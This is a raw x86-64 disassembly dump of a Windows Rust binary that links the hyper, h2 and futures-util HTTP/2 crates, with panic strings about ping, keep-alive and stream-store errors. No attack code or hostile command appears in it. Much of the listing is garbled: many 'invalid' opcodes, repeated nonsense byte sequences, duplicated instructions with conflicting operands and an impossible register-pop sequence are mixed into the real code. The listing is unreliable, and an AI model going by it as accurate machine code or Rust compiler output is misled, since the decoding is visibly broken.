add r8d, dword [rsi + 0x500]
cmp r8d, 0x3b9aca00
jb 0x14009842c
inc rax
je 0x140098b46
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
jb 0x14009842c
mov ecx, r8d
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
add rax, rcx
jb 0x140098bb2
imul ecx, ecx, 0x3b9aca00
sub r8d, ecx
mov rcx, qword [rsi + 0x508]
mov rdx, rax
call fcn.1400f4e70
cmp dword [rbp + 0x30], 0x3b9aca00
je 0x140098038
mov r13, qword [rbp + 0x58]
mov rcx, qword [rdi]
mov edx, 1
xor eax, eax
lock cmpxchg qword [r13 + 0x40], rdx
cmp rax, 2
je 0x140098497
test rax, rax
jne 0x1400984fc
mov rdx, qword [r13 + 0x30]
mov rax, qword [rcx]
test rdx, rdx
je 0x1400984a4
mov rcx, qword [rcx + 8]
cmp qword [r13 + 0x38], rcx
jne 0x1400984a8
cmp rdx, rax
jne 0x1400984a8
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
jne 0x1400984d7
jmp 0x1400984fc
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
add rax, 0x10
jmp 0x1400984fa
mov rcx, qword [rcx + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov rax, qword [r13 + 0x30]
test rax, rax
je 0x1400984c0
mov rcx, qword [r13 + 0x38]
call qword [rax + 0x18]
mov qword [r13 + 0x30], r14
mov qword [r13 + 0x38], r15
xor ecx, ecx
mov eax, 1
lock cmpxchg qword [r13 + 0x40], rcx
je 0x1400984fc
mov rax, qword [r13 + 0x30]
mov rcx, qword [r13 + 0x38]
mov qword [r13 + 0x30], 0
test rax, rax
je 0x140098b8e
xor edx, edx
xchg qword [r13 + 0x40], rdx
add rax, 8
call qword [rax]
xor ecx, ecx
mov eax, 3
lock cmpxchg qword [r13 + 0x10], rcx
cmp rax, 3
je 0x140098595
cmp rax, 4
je 0x14009892f
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x14009892f
cmp byte [rsi + 0x511], 2
jb 0x14009892f
mov rcx, qword [rsi + 0x508]
mov rdx, qword [rdi]
call fcn.1400f4af0
test al, al
jne 0x14009892f
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140098ac6
mov r14, qword [rsi + 0x508]
mov rcx, r14
call fcn.1400ece20
lea rcx, [r14 + 8]
cmp qword [r14], 0
je 0x140098a96
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140098aa4
call fcn.1400397c0
jmp 0x140098aa4
mov r8d, dword [rbp + 0x30]
cmp r8d, 0x3b9aca00
je 0x140098b5e
mov rdx, qword [rbp + 0x28]
mov dword [rbp + 0x30], 0x3b9aca00
mov r13, qword [rsp + 0x70]
mov qword [rsp + 0x30], r13
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x38], eax
lea rcx, [rsp + 0x30]
call fcn.1400d67b0
mov r15d, edx
xor r14d, r14d
cmp edx, 0x3b9aca00
cmovne r14d, edx
cmp dword [rsi + 0x4f0], 0x3b9aca00
je 0x140098623
mov qword [rsp + 0x78], rax
lea r13, [rbp + 0x18]
cmp dword [rbp + 0x50], 0x3b9aca00
je 0x140098607
call fcn.1400dfe70
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], edx
cmp rbx, 3
setb dl
mov rcx, r12
mov r8, r13
call fcn.140039720
mov r13, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
cmp dword [rsi + 0x4c8], 0x3b9aca00
je 0x14009892f
cmp qword [rbp + 0x18], 0
je 0x140098b9a
mov rdx, rax
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 0x18], 1
mov qword [rbp + 0x20], 0
mov eax, dword [rsi + 0x4e0]
cmp rax, 0x1000000
je 0x140098724
xorpd xmm0, xmm0
xorpd xmm1, xmm1
cmp r15d, 0x3b9aca00
je 0x140098699
movq xmm2, rdx
punpckldq xmm2, xmmword [0x14010f690]
subpd xmm2, xmmword [0x14010f6a0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
addsd xmm1, xmm2
mov edx, r14d
xorps xmm2, xmm2
cvtsi2sd xmm2, rdx
divsd xmm2, qword [0x14010f9f0]
addsd xmm2, xmm1
movsd xmm1, qword [rsi + 0x4d8]
movapd xmm3, xmm2
subsd xmm3, xmm1
mulsd xmm3, qword [0x14010f9f8]
movsd xmm4, qword [rsi + 0x4d0]
addsd xmm3, xmm1
cmpeqsd xmm0, xmm1
andpd xmm2, xmm0
andnpd xmm0, xmm3
orpd xmm0, xmm2
movlpd qword [rsi + 0x4d8], xmm0
movq xmm2, rcx
punpckldq xmm2, xmmword [0x14010f690]
subpd xmm2, xmmword [0x14010f6a0]
movapd xmm1, xmm2
unpckhpd xmm1, xmm2
mulsd xmm0, qword [0x14010fa00]
addsd xmm1, xmm2
divsd xmm1, xmm0
ucomisd xmm4, xmm1
jbe 0x140098882
mov r9, qword [rsi + 0x4c0]
mov ecx, dword [rsi + 0x4c8]
cmp r9, 9
ja 0x140098797
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 1
jbe 0x140098797
mov r8d, ecx
shl r8, 2
movabs rdx, 0x44b82fa0a
mov rax, r8
mul rdx
imul eax, edx, 0x3b9aca00
sub r8d, eax
shr ecx, 7
imul rax, rcx, 0x112e0bf
shr rax, 0x2d
lea r9, [rax + r9*4]
mov qword [rsi + 0x4c0], r9
mov dword [rsi + 0x4c8], r8d
mov dword [rsi + 0x4e4], 0
mov ecx, r8d
add r13, r9
jb 0x140098b46
add ecx, dword [rsp + 0x28]
cmp ecx, 0x3b9aca00
jb 0x140098928
inc r13
je 0x140098b46
add ecx, 0xc4653600
cmp ecx, 0x3b9aca00
jb 0x140098928
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r13, rax
jb 0x140098bb2
imul eax, eax, 0x3b9aca00
sub ecx, eax
jmp 0x140098928
mov r12, rcx
call fcn.14010c880
mov rcx, r12
test al, al
jne 0x1400980ea
mov byte [r15 + 0x11], 1
jmp 0x1400980ea
movsd qword [rsi + 0x4d0], xmm1
add rax, rax
movabs rdx, 0x5555555555555556
mul rdx
cmp rdx, rcx
jbe 0x140098a06
mov r8, qword [rsi + 0x4c0]
mov r9d, dword [rsi + 0x4c8]
cmp r8, 9
ja 0x140098917
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 2
jb 0x140098917
lea rcx, [r9*4]
movabs rdx, 0x44b82fa0a
mov rax, rcx
mul rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
shr r9d, 7
imul rax, r9, 0x112e0bf
shr rax, 0x2d
lea r8, [rax + r8*4]
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], ecx
mov dword [rsi + 0x4e4], 0
mov r9d, ecx
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f47d0
mov r13, rax
mov ecx, edx
mov qword [rbp + 0x38], r13
mov dword [rbp + 0x40], ecx
cmp byte [rsp + 0x2c], 0
jne 0x140098949
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140098a80
xor eax, eax
mov rcx, qword [rsp + 0x68]
xchg byte [rcx], al
mov r14, rsi
cmp al, 2
jne 0x140098082
mov ebx, 2
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test ebx, ebx
jne 0x140098070
mov rcx, qword [rsi + 0x408]
mov edx, r12d
call fcn.14007b890
cmp dword [rsi + 0x440], 2
jb 0x1400989e5
mov qword [rsi + 0x440], 0
mov dword [rsi + 0x44c], 0
mov dword [rsi + 0x454], 0
mov dword [rsi + 0x45c], 1
mov dword [rsi + 0x460], r12d
mov dword [rsi + 0x464], 0
mov dword [rsi + 0x46c], 0
mov dword [rsi + 0x474], 0
mov byte [rsi + 0x47c], 0
mov r14, rsi
jmp 0x140098082
mov bpl, 3
mov r14b, 0xa
jmp 0x140098181
call fcn.14010c880
test al, al
jne 0x140098057
mov byte [rbp + 0x11], 1
jmp 0x140098057
add rcx, rcx
cmp rcx, 0x1000000
mov r12d, 0x1000000
cmovb r12, rcx
mov dword [rsi + 0x4e0], r12d
mov dword [rsi + 0x4e4], 0
mov rax, qword [rsi + 0x4c0]
mov ecx, dword [rsi + 0x4c8]
mov r8, rax
shr r8, 1
shr ecx, 1
lea r9d, [rcx + 0x1dcd6500]
test al, 1
cmove r9d, ecx
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], r9d
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f47d0
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x40], edx
xor ebx, ebx
cmp byte [rsp + 0x2c], 0
jne 0x140098057
jmp 0x140098044
call fcn.14010c880
test al, al
jne 0x140098949
mov byte [rbp + 0x11], 1
jmp 0x140098949
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140098aa4
call fcn.140069ba0
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x140098ab4
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x4f0], 0x3b9aca00
movupd xmm0, xmmword [rsp + 0x30]
movupd xmm1, xmmword [rsp + 0x40]
movupd xmmword [rsi + 0x4f4], xmm0
movupd xmmword [rsi + 0x504], xmm1
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x514], eax
mov byte [rbp + 0x60], 1
mov ebx, 1
cmp byte [rsp + 0x2c], 0
jne 0x140098057
jmp 0x140098044
mov qword [rsi], 3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.1401046f0
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.1401092e0
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401466c8]
mov edx, 0x28
call fcn.140104a60
lea rcx, str.pong_received_implies_ping_sent_at
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x22
call fcn.140104a60
lea rcx, str.keep_alive_expects_last_read_at
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x1f
call fcn.140104a60
lea rcx, [0x140112260]
call fcn.140104a40
lea rcx, str.bdp_enabled_implies_bytes
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x19
call fcn.140104a60
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x40], rax
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x30]
call fcn.140104620
int3
lea rdx, [r15 + 1]
movzx eax, byte [r15 + 1]
test al, al
je 0x140099508
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140099ee5
xor eax, eax
xchg byte [r15], al
mov dil, 1
cmp al, 2
jne 0x140099e86
mov bl, 1
mov qword [rsp + 0xe8], rdx
mov rdi, qword [rcx + 8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x140099f19
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140099f34
and al, 0x78
cmp r8, 2
je 0x140099ba8
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x140099f00
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x140099ba8
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.1400049d0
cmp dword [r15 + 0x120], 0
je case.0x14005d242.237
mov ebx, dword [r15 + 0x12c]
mov edi, dword [r15 + 0x130]
lea rsi, [rsp + 0x6c]
mov ecx, dword [r15 + 0x124]
mov eax, dword [r15 + 0x128]
lea r14, [rsp + 0x38]
nop dword [rax]
mov edx, ecx
xor edx, ebx
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x140099c60
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], edi
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x140099fba
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x140099fba
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
mov r8, qword [r15 + 0x1c8]
mov eax, dword [rdi + 0x1c8]
mov eax, dword [rdi + 0x1c8]
cmp r8, rdx
jbe 0x140099fd3
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x140099fd3
mov eax, 0
mov dword [r10 + 0xb8], 0
je case.0x140095e36.26
mov dword [r15 + 0x120], 1
mov dword [r15 + 0x124], ebp
mov dword [r15 + 0x128], r12d
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
cmp r8, rdx
jbe 0x140099fd3
loope 0x140099cf2
add byte [rax], al
loope 0x140099cf2
add byte [rax], al
imul r8, rdx, 0x130
mov byte [r9 + r8 + 0x121], 0
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
insb byte [rdi], dx
insb byte [rdi], dx
cmp qword [r15 + 0x1c8], rdx
jbe 0x140099fba
invalid
add byte [rcx - 0x75], cl
xchg edi, eax
rol byte [rcx], 0
mov rdx, qword [r15 + 0x1c0]
cmp dword [rdx + r8], 2
je 0x140099fba
add byte [rdx - 0x7d], al
cmp al, 2
add cl, byte [rdi]
test byte [rcx + 0x4c000002], dl
add edx, eax
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x140099fba
add byte [rdi], cl
test dword [rdx - 0x7efffffe], eax
jp 0x140099d83
cmp dword [rdx + 0x48], 0x3b9aca00
setne r8b
mov rdx, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x38
add dl, cl
invalid
and al, 0xb8
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x38
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
call fcn.14001fde0
mov eax, r12d
mov ecx, ebp
test r13b, r13b
test ch, ch
test ch, ch
je 0x140099be0
lea rdi, [r15 + 0x148]
lea r13, [rsp + 0xac]
add byte [rax], al
lea rbx, [rsp + 0x68]
lea r12, [rsp + 0x38]
invalid
nop
cmp byte [rax + 0x48d98948], dl
mov edx, edi
mov rcx, rbx
mov ecx, ebx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140021fa0
mov rax, qword [rsp + 0x68]
test rax, rax
test eax, eax
je 0x140099e21
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0xa8], edx
mov dword [rsp + 0xac], ecx
cmp qword [rax + 0x10], rdx
jbe 0x14009a05f
mov r8, qword [rax + 8]
mov eax, dword [rax + 8]
imul r9, rdx, 0x130
add byte [rax], al
cmp dword [r8 + r9], 2
je 0x14009a05f
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp + 1], cl
enter 0x3941, 0xffffffffffffff88
cmp dword [r8 + 0x114], ecx
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x14009a05f
add byte [rax], al
cmp dword [r8 + 0x48], 0x3b9aca00
setne r8b
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], ecx
mov rcx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
add dl, cl
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.14001fde0
jmp 0x140099d90
cmp byte [rsp + 0xc4], 0
mov rcx, qword [rsp + 0xd8]
add byte [rax], al
add byte [rbp + 0x13], dh
add byte [rax], al
add byte [rbp + 0x13], dh
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140099f9e
xor eax, eax
xchg byte [rcx], al
cmp al, 2
movzx ebx, byte [rsp + 0x36]
pop rsp
and al, 0x36
rol byte [rsi + 0xf023c01], 0xb6
pop rsp
and al, 0x36
jne 0x140099e59
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
je 0x140099e70
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140099f81
xor edi, edi
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x140099e86
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor edi, edi
mov eax, edi
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
shl rax, 1
test rax, rax
je 0x1400994ca
idiv bh
invalid
mov rdi, rcx
call fcn.14010c880
mov ebx, eax
lea rdx, [r15 + 1]
movzx eax, byte [r15 + 1]
test al, al
je 0x140099f79
add byte [rax], al
invalid
test bl, bl
jne 0x1400994d7
jmp 0x1400994ea
mov rdi, rdx
call fcn.14010c880
test al, al
ror byte [rdi], 0x85
cmc
cmc
invalid
invalid
ror byte [rdi], 0x85
cmc
cmc
invalid
call qword [rax + 0x80]
cmp dword [r15 + 0x120], 0
jne 0x140099bb6
invalid
invalid
jmp case.0x14005d242.237
mov rcx, rdi
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x140099537
mov rcx, rdi
jmp 0x14009950a
call fcn.14010c880
test al, al
jne 0x140099e70
mov rax, qword [rsp + 0xe8]
mov byte [rax], 1
jmp 0x140099e70
mov rdi, rcx
call fcn.14010c880
mov rcx, rdi
test al, al
jne 0x140099e46
invalid
mov byte [rcx + 1], 1
jmp 0x140099e46
mov qword [rsp + 0x78], rsi
jmp 0x14009a064
mov qword [rsp + 0x78], rax
jmp 0x14009a064
mov qword [rsp + 0x78], rsi
lea rax, [0x14001b1b0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x78]
lea eax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
call fcn.140104620
mov qword [rsp + 0x68], r12
lea rax, [0x14001b1b0]
adc eax, edi
dec dword [rax - 0x77]
and al, 0x70
adc eax, edi
dec dword [rax - 0x77]
and al, 0x70
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x68]
jmp 0x14009a096
mov qword [rsp + 0x78], r13
lea rax, [0x14001b1b0]
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8b4de
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8b4de
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
and al, 0x38
add byte [rax - 0x73], cl
and al, 0x38
and al, 0x38
and al, 0x38
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
test eax, 0x8d480006
or eax, 0xa0c20
test eax, 0x8d480006
or eax, 0xa0c20
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea eax, [0x14013ad18]
add eax, 0xa0c49
mov edx, 0x2c
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea ecx, [0x14013acd0]
call fcn.140104a40
int3
test eax, 0xcccc0006
int3
enter 0x3145, 0xffffffffffffffc0
cmp dl, 6
movzx eax, al
rol byte [rcx + 0xf], 0x43
sar byte [rax + 0x90870f], 0
add byte [rax], al
invalid
cli
invalid
rol byte [rcx + 0xf], 0x43
sar byte [rax + 0x90870f], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rdx, [0x1401749cc]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
add dword [rax - 0x75], ecx
push rcx
or byte [rax - 0x75], cl
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x10]
add rcx, 0x18
invalid
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x10]
add rcx, 0x18
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rsi
jmp rax
mov r9, qword [rcx]
test r9, r9
je 0x14009a162
lea rax, [rcx + 0x18]
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rsi, rcx
mov rcx, rax
rol dword [rcx - 1], 0x51
adc byte [rax - 0x77], cl
int1
rol dword [rcx - 1], 0x51
adc byte [rax - 0x77], cl
int1
mov rax, qword [rcx + 0x20]
mov rdx, qword [rcx + 0x28]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x30]
xor byte [r8 - 0x7d], cl
sar dword [rax], 0x48
add esp, 0x20
xor byte [r8 - 0x7d], cl
sar dword [rax], 0x48
add esp, 0x20
pop rsi
jmp rax
cmp byte [rcx], 0xa
jb case.default.0x14009a124
cmp qword [rcx + 0x10], 0
je case.default.0x14009a124
mov r8, qword [rcx + 8]
mov rcx, qword [0x14017d208]
or eax, 0xe3073
or eax, 0xe3073
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
movzx eax, byte [rcx + 1]
test al, al
jne 0x14009a26b
lea rdi, [rcx + 1]
mov esi, dword [rcx + 0xfc]
mov rax, qword [0x14017d2a8]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
jne 0x14009a257
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14009a203
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
add byte [rcx - 0x3b7cb710], cl
pop rbx
mov eax, esi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov ecx, esi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009a1d0
mov rsi, rcx
call fcn.14010c880
movzx edx, byte [rsi + 1]
mov dh, 0x56
invalid
test dl, dl
jne 0x14009a2a2
mov dh, 0x56
add dword [rdx + rdx*8 - 0x76b7948b], eax
int1
mov rcx, rsi
mov esi, dword [rsi + 0xfc]
test al, al
je 0x14009a1f5
lea rdi, [rcx + 1]
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
invalid
je 0x14009a1f5
mov rbx, rcx
call fcn.14010c880
test al, al
jne 0x14009a266
mov byte [rdi], 1
mov rcx, rbx
jmp 0x14009a1f5
mov rsi, rcx
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
and al, 0x38
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
or eax, 0xa1845
or eax, 0xa1845
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401049b0
xor al, 1
jmp 0x14009a270
add byte [rsi + 0x44], ah
movq qword [rsp + 0x710], mm3
movdqa xmmword [rsp + 0x700], xmm10
movdqa xmmword [rsp + 0x6f0], xmm9
movdqa xmmword [rsp + 0x6e0], xmm8
movq qword [rsp + 0x6e0], mm0
movq qword [rsp + 0x6e0], mm0
movdqa xmmword [rsp + 0x6d0], xmm7
movaps xmmword [rsp + 0x6c0], xmm6
mov r12, r8
mov rdi, rdx
mov qword [rsp + 0x100], rcx
mov rax, qword [rdx + 0x380]
cmp rax, 2
mov qword [rsp + 0x128], rdx
jne 0x14009a353
mov rax, qword [rdi + 0x3a0]
mov qword [rsp + 0x2b8], 2
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add al, byte [rax]
add cl, ch
jrcxz 0x14009a351
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbx*8], ah
add al, byte [rax]
add cl, ch
jrcxz 0x14009a351
add byte [rax], al
lea rdx, [rdi + 0x398]
mov rsi, qword [rdi + 0x388]
mov rbx, rdi
add eax, dword [rax]
add byte [rax - 0x75], cl
mov bh, 0x88
add eax, dword [rax]
add byte [rax - 0x77], cl
sti
mov rdi, qword [rdi + 0x390]
test rax, rax
je 0x14009a3e7
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x70]
lock inc qword [rsi]
jle 0x14009d6db
mov qword [rsp + 0x2c0], rsi
add byte [rax], al
mov qword [rsp + 0x2c8], rdi
lea rdx, [rsp + 0x2d0]
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x128]
mov rax, qword [rax + 0x3a0]
and byte [rax + 0x48000003], 0xc7
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x2d8], rax
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
mov qword [rsp + 0x2d8], rax
mov dword [rsp + 0x2d8], eax
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rsi, rax
add rsi, 0x10
invalid
adc bl, ch
invalid
invalid
mov rcx, rsi
call qword [rdi + 0x70]
jo 0x14009a436
mov dword [rsp + 0x2c0], esi
mov qword [rsp + 0x2c8], rdi
lea rdx, [rsp + 0x2d0]
mov qword [rsp + 0x2d0], rax
add byte [rax - 0x75], cl
and dword [rax + 0x48000003], 0xffffffc7
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
jo 0x14009a436
add byte [rax - 0x75], cl
and dword [rax + 0x48000003], 0xffffffc7
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2d8], rax
mov rcx, rsi
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2d8], rax
mov rcx, rsi
call qword [rdi + 0x60]
mov rdi, qword [rsp + 0x128]
mov qword [rsp + 0x578], 2
mov qword [rsp + 0x598], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
mov bh, 0
add al, 0
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000003], ebp
test al, 3
add byte [rax], al
mov qword [rsp + 0x300], rax
lea rsi, [rdi + 0x400]
lea rax, [rdi + 0x3a8]
test al, 3
add byte [rax], al
test al, 3
add byte [rax], al
mov qword [rsp + 0x300], rax
lea rax, [rdi + 0x418]
mov qword [rsp + 0x2f8], rax
mov dword [rsp + 0x2f8], eax
lea rax, [rdi + 0x3e0]
mov qword [rsp + 0x5c0], rax
test byte [rax + rax*8], ah
add eax, 0x8d480000
mov qword [rsp + 0x98], rax
test byte [rax + rax*8], ah
add eax, 0x8d480000
mov qword [rsp + 0x98], rax
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
lea rax, [0x14013a998]
